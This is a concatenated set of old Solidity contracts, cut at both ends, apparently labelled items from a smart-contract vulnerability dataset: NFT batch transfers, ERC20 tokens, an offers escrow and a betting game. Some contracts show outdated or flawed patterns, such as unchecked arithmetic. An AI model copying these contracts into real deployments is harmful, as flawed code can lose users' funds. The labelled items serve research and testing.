assetDetails |= uint256(getSequenceId(_teamId[ii]))<<64;
assetDetails |= uint256(_teamId[ii])<<96;
assetDetails |= uint256((_attributes[ii]/1000000000000000000000000000000000000000)-800)<<104;
_nftData = [assetDetails, _attributes[ii], 0, _playerOverrideId[ii], _mlbPlayerId[ii]];
_createNFTCollectible(_teamId[ii], _attributes[ii], _to[ii], 2, _nftData);
}
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
require (checkIsAttached(_tokenId) == 0);
require (_from != address(0));
require (_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function multiBatchTransferFrom(
uint256[] _tokenIds,
address[] _fromB,
address[] _toB)
public
{
require (isBatchSupported);
require (_tokenIds.length > 0 && _fromB.length > 0 && _toB.length > 0);
uint256 _id;
address _to;
address _from;
for (uint256 i = 0; i < _tokenIds.length; ++i) {
require (_tokenIds[i] != 0 && _fromB[i] != 0 && _toB[i] != 0);
_id = _tokenIds[i];
_to = _toB[i];
_from = _fromB[i];
transferFrom(_from, _to, _id);
}
}
function batchTransferFrom(uint256[] _tokenIds, address _from, address _to)
public
{
require (isBatchSupported);
require (_tokenIds.length > 0 && _from != address(0) && _to != address(0));
uint256 _id;
for (uint256 i = 0; i < _tokenIds.length; ++i) {
require (_tokenIds[i] != 0);
_id = _tokenIds[i];
transferFrom(_from, _to, _id);
}
}
function multiBatchSafeTransferFrom(
uint256[] _tokenIds,
address[] _fromB,
address[] _toB
)
public
{
require (isBatchSupported);
require (_tokenIds.length > 0 && _fromB.length > 0 && _toB.length > 0);
uint256 _id;
address _to;
address _from;
for (uint256 i = 0; i < _tokenIds.length; ++i) {
require (_tokenIds[i] != 0 && _fromB[i] != 0 && _toB[i] != 0);
_id = _tokenIds[i];
_to = _toB[i];
_from = _fromB[i];
safeTransferFrom(_from, _to, _id);
}
}
function batchSafeTransferFrom(
uint256[] _tokenIds,
address _from,
address _to
)
public
{
require (isBatchSupported);
require (_tokenIds.length > 0 && _from != address(0) && _to != address(0));
uint256 _id;
for (uint256 i = 0; i < _tokenIds.length; ++i) {
require (_tokenIds[i] != 0);
_id = _tokenIds[i];
safeTransferFrom(_from, _to, _id);
}
}
function batchApprove(
uint256[] _tokenIds,
address _spender
)
public
{
require (isBatchSupported);
require (_tokenIds.length > 0 && _spender != address(0));
uint256 _id;
for (uint256 i = 0; i < _tokenIds.length; ++i) {
require (_tokenIds[i] != 0);
_id = _tokenIds[i];
approve(_spender, _id);
}
}
function batchSetApprovalForAll(
address[] _spenders,
bool _approved
)
public
{
require (isBatchSupported);
require (_spenders.length > 0);
address _spender;
for (uint256 i = 0; i < _spenders.length; ++i) {
require (address(_spenders[i]) != address(0));
_spender = _spenders[i];
setApprovalForAll(_spender, _approved);
}
}
function requestDetachment(
uint256 _tokenId
)
public
{
require (isApprovedOrOwner(msg.sender, _tokenId));
uint256 isAttached = checkIsAttached(_tokenId);
require(getGameCardId(_tokenId) == 0);
require (isAttached >= 1);
if(attachedSystemActive == true) {
if(isAttached > 1 && block.timestamp - isAttached > detachmentTime) {
isAttached = 0;
} else if(isAttached > 1) {
require (isAttached == 1);
} else {
isAttached = block.timestamp;
}
} else {
isAttached = 0;
}
updateIsAttached(_tokenId, isAttached);
}
function attachAsset(
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
uint256 isAttached = checkIsAttached(_tokenId);
require (isAttached == 0);
isAttached = 1;
updateIsAttached(_tokenId, isAttached);
emit AssetUpdated(_tokenId);
}
function batchAttachAssets(uint256[] _tokenIds) public {
require (isBatchSupported);
for(uint i = 0; i < _tokenIds.length; i++) {
attachAsset(_tokenIds[i]);
}
}
function batchDetachAssets(uint256[] _tokenIds) public {
require (isBatchSupported);
for(uint i = 0; i < _tokenIds.length; i++) {
requestDetachment(_tokenIds[i]);
}
}
function requestDetachmentOnPause (uint256 _tokenId) public whenPaused {
require (isApprovedOrOwner(msg.sender, _tokenId));
updateIsAttached(_tokenId, 0);
}
function toggleAttachedEnforcement (bool _state) public onlyManager {
attachedSystemActive = _state;
}
function setDetachmentTime (uint256 _time) public onlyManager {
require (_time <= 1209600);
detachmentTime = uint32(_time);
}
function setNFTDetached(uint256 _tokenId) public anyOperator {
require (checkIsAttached(_tokenId) > 0);
updateIsAttached(_tokenId, 0);
}
function setBatchDetachCollectibles(uint256[] _tokenIds) public anyOperator {
uint256 _id;
for(uint i = 0; i < _tokenIds.length; i++) {
_id = _tokenIds[i];
setNFTDetached(_id);
}
}
function updateIsAttached(uint256 _tokenId, uint256 _isAttached) internal {
NFT memory obj = _getAttributesOfToken(_tokenId);
obj.isAttached = _isAttached;
allNFTs[_tokenId] = obj;
emit AssetUpdated(_tokenId);
}
function initiateCreateSale(uint256 _tokenId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration) external {
require (_tokenId != 0);
address owner = ownerOf(_tokenId);
require (owner == msg.sender);
require (_startingPrice == _startingPrice);
require (_endingPrice == _endingPrice);
require (_duration == _duration);
require (checkIsAttached(_tokenId) == 0);
_approveForSale(msg.sender, address(saleManagerAddress), _tokenId);
saleManagerAddress.createSale(_tokenId, _startingPrice, _endingPrice, _duration, msg.sender);
}
function batchCreateAssetSale(uint256[] _tokenIds, uint256[] _startingPrices, uint256[] _endingPrices, uint256[] _durations) external whenNotPaused {
require (_tokenIds.length > 0 && _startingPrices.length > 0 && _endingPrices.length > 0 && _durations.length > 0);
for(uint ii = 0; ii < _tokenIds.length; ii++){
require (_tokenIds[ii] != 0);
require (_startingPrices[ii] == _startingPrices[ii]);
require (_endingPrices[ii] == _endingPrices[ii]);
require (_durations[ii] == _durations[ii]);
address _owner = ownerOf(_tokenIds[ii]);
address _msgSender = msg.sender;
require (_owner == _msgSender);
require (checkIsAttached(_tokenIds[ii]) == 0);
_approveForSale(msg.sender, address(saleManagerAddress), _tokenIds[ii]);
saleManagerAddress.createSale(_tokenIds[ii], _startingPrices[ii], _endingPrices[ii], _durations[ii], msg.sender);
}
}
} | 1 | 4,098 |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract BCASToken is TokenERC20 {
function BCASToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
} | 1 | 5,563 |
pragma solidity ^ 0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface {
function totalSupply() public constant returns(uint256 totalSupplyReturn);
function balanceOf(address _owner) public constant returns(uint256 balance);
function transfer(address _to, uint256 _value) public returns(bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success);
function approve(address _spender, uint256 _value) public returns(bool success);
function allowance(address _owner, address _spender) public constant returns(uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Noxon is ERC20Interface {
using SafeMath for uint;
string public constant symbol = "NOXON";
string public constant name = "NOXON";
uint8 public constant decimals = 0;
uint256 _totalSupply = 0;
uint256 _burnPrice;
uint256 _emissionPrice;
uint256 initialized;
bool public emissionlocked = false;
address public owner;
address public manager;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address newOwner;
address newManager;
function changeOwner(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
newOwner = address(0);
}
}
function changeManager(address _newManager) public onlyOwner {
newManager = _newManager;
}
function acceptManagership() public {
if (msg.sender == newManager) {
manager = newManager;
newManager = address(0);
}
}
function Noxon() public {
require(_totalSupply == 0);
owner = msg.sender;
manager = owner;
}
function NoxonInit() public payable onlyOwner returns (bool) {
require(_totalSupply == 0);
require(initialized == 0);
require(msg.value > 0);
Transfer(0, msg.sender, 1);
balances[owner] = 1;
_totalSupply = balances[owner];
_burnPrice = msg.value;
_emissionPrice = _burnPrice.mul(2);
initialized = block.timestamp;
return true;
}
function lockEmission() public onlyOwner {
emissionlocked = true;
}
function unlockEmission() public onlyOwner {
emissionlocked = false;
}
function totalSupply() public constant returns(uint256) {
return _totalSupply;
}
function burnPrice() public constant returns(uint256) {
return _burnPrice;
}
function emissionPrice() public constant returns(uint256) {
return _emissionPrice;
}
function balanceOf(address _owner) public constant returns(uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) public returns(bool success) {
if (_to == address(this)) {
return burnTokens(_amount);
} else {
if (balances[msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
}
function burnTokens(uint256 _amount) private returns(bool success) {
_burnPrice = getBurnPrice();
uint256 _burnPriceTmp = _burnPrice;
if (balances[msg.sender] >= _amount && _amount > 0) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
_totalSupply = _totalSupply.sub(_amount);
assert(_totalSupply >= 1);
msg.sender.transfer(_amount.mul(_burnPrice));
_burnPrice = getBurnPrice();
assert(_burnPrice >= _burnPriceTmp);
TokenBurned(msg.sender, _amount.mul(_burnPrice), _burnPrice, _amount);
return true;
} else {
return false;
}
}
event TokenBought(address indexed buyer, uint256 ethers, uint _emissionedPrice, uint amountOfTokens);
event TokenBurned(address indexed buyer, uint256 ethers, uint _burnedPrice, uint amountOfTokens);
function () public payable {
uint256 _burnPriceTmp = _burnPrice;
require(emissionlocked == false);
require(_burnPrice > 0 && _emissionPrice > _burnPrice);
require(msg.value > 0);
uint256 amount = msg.value / _emissionPrice;
require(balances[msg.sender] + amount > balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].add(amount);
_totalSupply = _totalSupply.add(amount);
uint mg = msg.value / 2;
manager.transfer(mg);
TokenBought(msg.sender, msg.value, _emissionPrice, amount);
_burnPrice = getBurnPrice();
_emissionPrice = _burnPrice.mul(2);
assert(_burnPrice >= _burnPriceTmp);
}
function getBurnPrice() public returns(uint) {
return this.balance / _totalSupply;
}
event EtherReserved(uint etherReserved);
function addToReserve() public payable returns(bool) {
uint256 _burnPriceTmp = _burnPrice;
if (msg.value > 0) {
_burnPrice = getBurnPrice();
_emissionPrice = _burnPrice.mul(2);
EtherReserved(msg.value);
assert(_burnPrice >= _burnPriceTmp);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) public returns(bool success) {
if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to] && _to != address(this)
) {
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) public returns(bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function transferAnyERC20Token(address tokenAddress, uint amount)
public
onlyOwner returns(bool success) {
return ERC20Interface(tokenAddress).transfer(owner, amount);
}
function burnAll() external returns(bool) {
return burnTokens(balances[msg.sender]);
}
}
contract TestProcess {
Noxon main;
function TestProcess() payable {
main = new Noxon();
}
function () payable {
}
function init() returns (uint) {
if (!main.NoxonInit.value(12)()) throw;
if (!main.call.value(24)()) revert();
assert(main.balanceOf(address(this)) == 2);
if (main.call.value(23)()) revert();
assert(main.balanceOf(address(this)) == 2);
}
function test1() returns (uint) {
if (!main.call.value(26)()) revert();
assert(main.balanceOf(address(this)) == 3);
assert(main.emissionPrice() == 24);
return main.balance;
}
function test2() returns (uint){
if (!main.call.value(40)()) revert();
assert(main.balanceOf(address(this)) == 4);
}
function test3() {
if (!main.transfer(address(main),2)) revert();
assert(main.burnPrice() == 14);
}
} | 1 | 4,645 |
pragma solidity ^0.4.11;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract ERC20nator is StandardToken, Ownable {
address public fundraiserAddress;
uint constant issueFeePercent = 10;
event requestedRedeem(address indexed requestor, uint amount);
event redeemed(address redeemer, uint amount);
function() payable {
uint issuedTokens = msg.value * (100 - issueFeePercent) / 100;
if(!fundraiserAddress.send(issuedTokens))
throw;
if(!owner.send(msg.value - issuedTokens))
throw;
totalSupply += issuedTokens;
balances[msg.sender] += issuedTokens;
}
function setFundraiserAddress(address _fundraiserAddress) onlyOwner {
fundraiserAddress = _fundraiserAddress;
}
function requestRedeem(uint amount) {
requestedRedeem(msg.sender, amount);
}
function redeem(uint amount) onlyOwner{
redeemed(msg.sender, amount);
}
} | 1 | 3,945 |
pragma solidity ^0.4.24;
contract OffersAccessControl {
address public ceoAddress;
address public cooAddress;
address public cfoAddress;
address public lostAndFoundAddress;
uint256 public totalCFOEarnings;
uint256 public totalLostAndFoundBalance;
bool public frozen = false;
modifier onlyCEO() {
require(msg.sender == ceoAddress, "only CEO is allowed to perform this operation");
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress, "only COO is allowed to perform this operation");
_;
}
modifier onlyCFO() {
require(
msg.sender == cfoAddress &&
msg.sender != address(0),
"only CFO is allowed to perform this operation"
);
_;
}
modifier onlyCeoOrCfo() {
require(
msg.sender != address(0) &&
(
msg.sender == ceoAddress ||
msg.sender == cfoAddress
),
"only CEO or CFO is allowed to perform this operation"
);
_;
}
modifier onlyLostAndFound() {
require(
msg.sender == lostAndFoundAddress &&
msg.sender != address(0),
"only LostAndFound is allowed to perform this operation"
);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0), "new CEO address cannot be the zero-account");
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0), "new COO address cannot be the zero-account");
cooAddress = _newCOO;
}
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0), "new CFO address cannot be the zero-account");
cfoAddress = _newCFO;
}
function setLostAndFound(address _newLostAndFound) external onlyCEO {
require(_newLostAndFound != address(0), "new lost and found cannot be the zero-account");
lostAndFoundAddress = _newLostAndFound;
}
function withdrawTotalCFOEarnings() external onlyCFO {
uint256 balance = totalCFOEarnings;
totalCFOEarnings = 0;
cfoAddress.transfer(balance);
}
function withdrawTotalLostAndFoundBalance() external onlyLostAndFound {
uint256 balance = totalLostAndFoundBalance;
totalLostAndFoundBalance = 0;
lostAndFoundAddress.transfer(balance);
}
modifier whenNotFrozen() {
require(!frozen, "contract needs to not be frozen");
_;
}
modifier whenFrozen() {
require(frozen, "contract needs to be frozen");
_;
}
function freeze() external onlyCeoOrCfo whenNotFrozen {
frozen = true;
}
}
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract OffersConfig is OffersAccessControl {
uint256 public globalDuration;
uint256 public minimumTotalValue;
uint256 public minimumPriceIncrement;
uint256 public unsuccessfulFee;
uint256 public offerCut;
event GlobalDurationUpdated(uint256 value);
event MinimumTotalValueUpdated(uint256 value);
event MinimumPriceIncrementUpdated(uint256 value);
event OfferCutUpdated(uint256 value);
event UnsuccessfulFeeUpdated(uint256 value);
function setMinimumTotalValue(uint256 _newMinTotal) external onlyCOO whenNotFrozen {
_setMinimumTotalValue(_newMinTotal, unsuccessfulFee);
emit MinimumTotalValueUpdated(_newMinTotal);
}
function setGlobalDuration(uint256 _newDuration) external onlyCOO whenNotFrozen {
require(_newDuration == uint256(uint64(_newDuration)), "new globalDuration value must not underflow");
globalDuration = _newDuration;
emit GlobalDurationUpdated(_newDuration);
}
function setOfferCut(uint256 _newOfferCut) external onlyCOO whenNotFrozen {
_setOfferCut(_newOfferCut);
emit OfferCutUpdated(_newOfferCut);
}
function setUnsuccessfulFee(uint256 _newUnsuccessfulFee) external onlyCOO whenNotFrozen {
require(minimumTotalValue >= (2 * _newUnsuccessfulFee), "unsuccessful value must be <= half of minimumTotalValue");
unsuccessfulFee = _newUnsuccessfulFee;
emit UnsuccessfulFeeUpdated(_newUnsuccessfulFee);
}
function setMinimumPriceIncrement(uint256 _newMinimumPriceIncrement) external onlyCOO whenNotFrozen {
_setMinimumPriceIncrement(_newMinimumPriceIncrement);
emit MinimumPriceIncrementUpdated(_newMinimumPriceIncrement);
}
function _setMinimumTotalValue(uint256 _newMinTotal, uint256 _unsuccessfulFee) internal {
require(_newMinTotal >= (2 * _unsuccessfulFee), "minimum value must be >= 2 * unsuccessful fee");
minimumTotalValue = _newMinTotal;
}
function _setOfferCut(uint256 _newOfferCut) internal {
require(_newOfferCut <= 1e4, "offer cut must be a valid basis point");
offerCut = _newOfferCut;
}
function _setMinimumPriceIncrement(uint256 _newMinimumPriceIncrement) internal {
require(_newMinimumPriceIncrement <= 1e4, "minimum price increment must be a valid basis point");
minimumPriceIncrement = _newMinimumPriceIncrement;
}
}
contract OffersBase is OffersConfig {
event OfferCreated(
uint256 tokenId,
address bidder,
uint256 expiresAt,
uint256 total,
uint256 offerPrice
);
event OfferCancelled(
uint256 tokenId,
address bidder,
uint256 bidderReceived,
uint256 fee
);
event OfferFulfilled(
uint256 tokenId,
address bidder,
address owner,
uint256 ownerReceived,
uint256 fee
);
event OfferUpdated(
uint256 tokenId,
address bidder,
uint256 newExpiresAt,
uint256 totalRaised
);
event ExpiredOfferRemoved(
uint256 tokenId,
address bidder,
uint256 bidderReceived,
uint256 fee
);
event BidderWithdrewFundsWhenFrozen(
uint256 tokenId,
address bidder,
uint256 amount
);
event PushFundsFailed(
uint256 tokenId,
address to,
uint256 amount
);
struct Offer {
uint64 expiresAt;
address bidder;
uint16 offerCut;
uint128 total;
uint128 unsuccessfulFee;
}
mapping (uint256 => Offer) public tokenIdToOffer;
function _computeMinimumOverbidPrice(uint256 _offerPrice) internal view returns (uint256) {
return _offerPrice * (1e4 + minimumPriceIncrement) / 1e4;
}
function _computeOfferPrice(uint256 _total, uint256 _offerCut) internal pure returns (uint256) {
return _total * 1e4 / (1e4 + _offerCut);
}
function _offerExists(uint256 _expiresAt) internal pure returns (bool) {
return _expiresAt > 0;
}
function _isOfferActive(uint256 _expiresAt) internal view returns (bool) {
return now < _expiresAt;
}
function _tryPushFunds(uint256 _tokenId, address _to, uint256 _amount) internal {
bool success = _to.send(_amount);
if (!success) {
totalLostAndFoundBalance = totalLostAndFoundBalance + _amount;
emit PushFundsFailed(_tokenId, _to, _amount);
}
}
}
contract Offers is OffersBase {
bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d);
ERC721 public nonFungibleContract;
constructor(
address _nftAddress,
address _cooAddress,
uint256 _globalDuration,
uint256 _minimumTotalValue,
uint256 _minimumPriceIncrement,
uint256 _unsuccessfulFee,
uint256 _offerCut
) public {
ceoAddress = msg.sender;
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(InterfaceSignature_ERC721), "NFT Contract needs to support ERC721 Interface");
nonFungibleContract = candidateContract;
setCOO(_cooAddress);
globalDuration = _globalDuration;
unsuccessfulFee = _unsuccessfulFee;
_setOfferCut(_offerCut);
_setMinimumPriceIncrement(_minimumPriceIncrement);
_setMinimumTotalValue(_minimumTotalValue, _unsuccessfulFee);
}
function createOffer(uint256 _tokenId) external payable whenNotFrozen {
require(msg.value >= minimumTotalValue, "offer total value must be above minimumTotalValue");
uint256 _offerCut = offerCut;
uint256 offerPrice = _computeOfferPrice(msg.value, _offerCut);
Offer storage previousOffer = tokenIdToOffer[_tokenId];
uint256 previousExpiresAt = previousOffer.expiresAt;
uint256 toRefund = 0;
if (_offerExists(previousExpiresAt)) {
uint256 previousOfferTotal = uint256(previousOffer.total);
if (_isOfferActive(previousExpiresAt)) {
uint256 previousPriceForOwner = _computeOfferPrice(previousOfferTotal, uint256(previousOffer.offerCut));
uint256 minimumOverbidPrice = _computeMinimumOverbidPrice(previousPriceForOwner);
require(offerPrice >= minimumOverbidPrice, "overbid price must match minimum price increment criteria");
}
uint256 cfoEarnings = previousOffer.unsuccessfulFee;
toRefund = previousOfferTotal - cfoEarnings;
totalCFOEarnings += cfoEarnings;
}
uint256 newExpiresAt = now + globalDuration;
address previousBidder;
if (toRefund > 0) {
previousBidder = previousOffer.bidder;
}
tokenIdToOffer[_tokenId] = Offer(
uint64(newExpiresAt),
msg.sender,
uint16(_offerCut),
uint128(msg.value),
uint128(unsuccessfulFee)
);
if (toRefund > 0) {
_tryPushFunds(
_tokenId,
previousBidder,
toRefund
);
}
emit OfferCreated(
_tokenId,
msg.sender,
newExpiresAt,
msg.value,
offerPrice
);
}
function cancelOffer(uint256 _tokenId) external whenNotFrozen {
Offer storage offer = tokenIdToOffer[_tokenId];
uint256 expiresAt = offer.expiresAt;
require(_offerExists(expiresAt), "offer to cancel must exist");
require(_isOfferActive(expiresAt), "offer to cancel must not be expired");
address bidder = offer.bidder;
require(msg.sender == bidder, "caller must be bidder of offer to be cancelled");
uint256 total = uint256(offer.total);
uint256 toRefund = _computeOfferPrice(total, offer.offerCut);
uint256 cfoEarnings = total - toRefund;
delete tokenIdToOffer[_tokenId];
totalCFOEarnings += cfoEarnings;
_tryPushFunds(_tokenId, bidder, toRefund);
emit OfferCancelled(
_tokenId,
bidder,
toRefund,
cfoEarnings
);
}
function fulfillOffer(uint256 _tokenId, uint128 _minOfferPrice) external whenNotFrozen {
Offer storage offer = tokenIdToOffer[_tokenId];
uint256 expiresAt = offer.expiresAt;
require(_offerExists(expiresAt), "offer to fulfill must exist");
require(_isOfferActive(expiresAt), "offer to fulfill must not be expired");
address owner = nonFungibleContract.ownerOf(_tokenId);
require(msg.sender == cooAddress || msg.sender == owner, "only COO or the owner can fulfill order");
uint256 total = uint256(offer.total);
uint256 offerPrice = _computeOfferPrice(total, offer.offerCut);
require(offerPrice >= _minOfferPrice, "cannot fulfill offer – offer price too low");
address bidder = offer.bidder;
delete tokenIdToOffer[_tokenId];
nonFungibleContract.transferFrom(owner, bidder, _tokenId);
uint256 cfoEarnings = total - offerPrice;
totalCFOEarnings += cfoEarnings;
_tryPushFunds(_tokenId, owner, offerPrice);
emit OfferFulfilled(
_tokenId,
bidder,
owner,
offerPrice,
cfoEarnings
);
}
function batchRemoveExpired(uint256[] _tokenIds) external whenNotFrozen {
uint256 len = _tokenIds.length;
uint256 cumulativeCFOEarnings = 0;
for (uint256 i = 0; i < len; i++) {
uint256 tokenId = _tokenIds[i];
Offer storage offer = tokenIdToOffer[tokenId];
uint256 expiresAt = offer.expiresAt;
if (!_offerExists(expiresAt)) {
continue;
}
if (_isOfferActive(expiresAt)) {
continue;
}
address bidder = offer.bidder;
uint256 cfoEarnings = uint256(offer.unsuccessfulFee);
uint256 toRefund = uint256(offer.total) - cfoEarnings;
delete tokenIdToOffer[tokenId];
cumulativeCFOEarnings += cfoEarnings;
_tryPushFunds(
tokenId,
bidder,
toRefund
);
emit ExpiredOfferRemoved(
tokenId,
bidder,
toRefund,
cfoEarnings
);
}
if (cumulativeCFOEarnings > 0) {
totalCFOEarnings += cumulativeCFOEarnings;
}
}
function updateOffer(uint256 _tokenId) external payable whenNotFrozen {
Offer storage offer = tokenIdToOffer[_tokenId];
uint256 expiresAt = uint256(offer.expiresAt);
require(_offerExists(expiresAt), "offer to update must exist");
require(_isOfferActive(expiresAt), "offer to update must not be expired");
require(msg.sender == offer.bidder, "caller must be bidder of offer to be updated");
uint256 newExpiresAt = now + globalDuration;
if (msg.value > 0) {
offer.total += uint128(msg.value);
}
offer.expiresAt = uint64(newExpiresAt);
emit OfferUpdated(_tokenId, msg.sender, newExpiresAt, msg.value);
}
function bidderWithdrawFunds(uint256 _tokenId) external whenFrozen {
Offer storage offer = tokenIdToOffer[_tokenId];
require(_offerExists(offer.expiresAt), "offer to withdraw funds from must exist");
require(msg.sender == offer.bidder, "only bidders can withdraw their funds in escrow");
uint256 total = uint256(offer.total);
delete tokenIdToOffer[_tokenId];
msg.sender.transfer(total);
emit BidderWithdrewFundsWhenFrozen(_tokenId, msg.sender, total);
}
function() external payable {
revert("we don't accept any payments!");
}
} | 1 | 4,095 |
pragma solidity ^0.4.16;
contract koth_v1b {
event NewKoth(
uint gameId,
uint betNumber,
address bettor,
uint bet,
uint pot,
uint lastBlock,
uint minBet,
uint maxBet
);
event KothWin(
uint gameId,
uint totalBets,
address winner,
uint winningBet,
uint pot,
uint fee,
uint firstBlock,
uint lastBlock
);
uint public constant minPot = 0.001 ether;
uint public constant minRaise = 0.001 ether;
address feeAddress;
uint public gameId = 0;
uint public betId;
uint public highestBet;
uint public pot;
uint public firstBlock;
uint public lastBlock;
address public koth;
function koth_v1b() public {
feeAddress = msg.sender;
resetKoth();
}
function () payable public {
if (lastBlock > 0 && block.number > lastBlock) {
msg.sender.transfer(msg.value);
return;
}
uint minBet = highestBet + minRaise;
if (msg.value < minBet) {
msg.sender.transfer(msg.value);
return;
}
uint maxBet;
if (pot < 1 ether) {
maxBet = 3 * pot;
} else {
maxBet = 5 * pot / 4;
}
if (msg.value > maxBet) {
msg.sender.transfer(msg.value);
return;
}
betId++;
highestBet = msg.value;
koth = msg.sender;
pot += highestBet;
uint blocksRemaining = uint( 10 ** ((64-5*pot) / 40) );
if (blocksRemaining < 3) {
blocksRemaining = 3;
}
lastBlock = block.number + blocksRemaining;
NewKoth(gameId, betId, koth, highestBet, pot, lastBlock, minBet, maxBet);
}
function resetKoth() private {
gameId++;
highestBet = 0;
koth = address(0);
pot = minPot;
lastBlock = 0;
betId = 0;
firstBlock = block.number;
}
function rewardKoth() public {
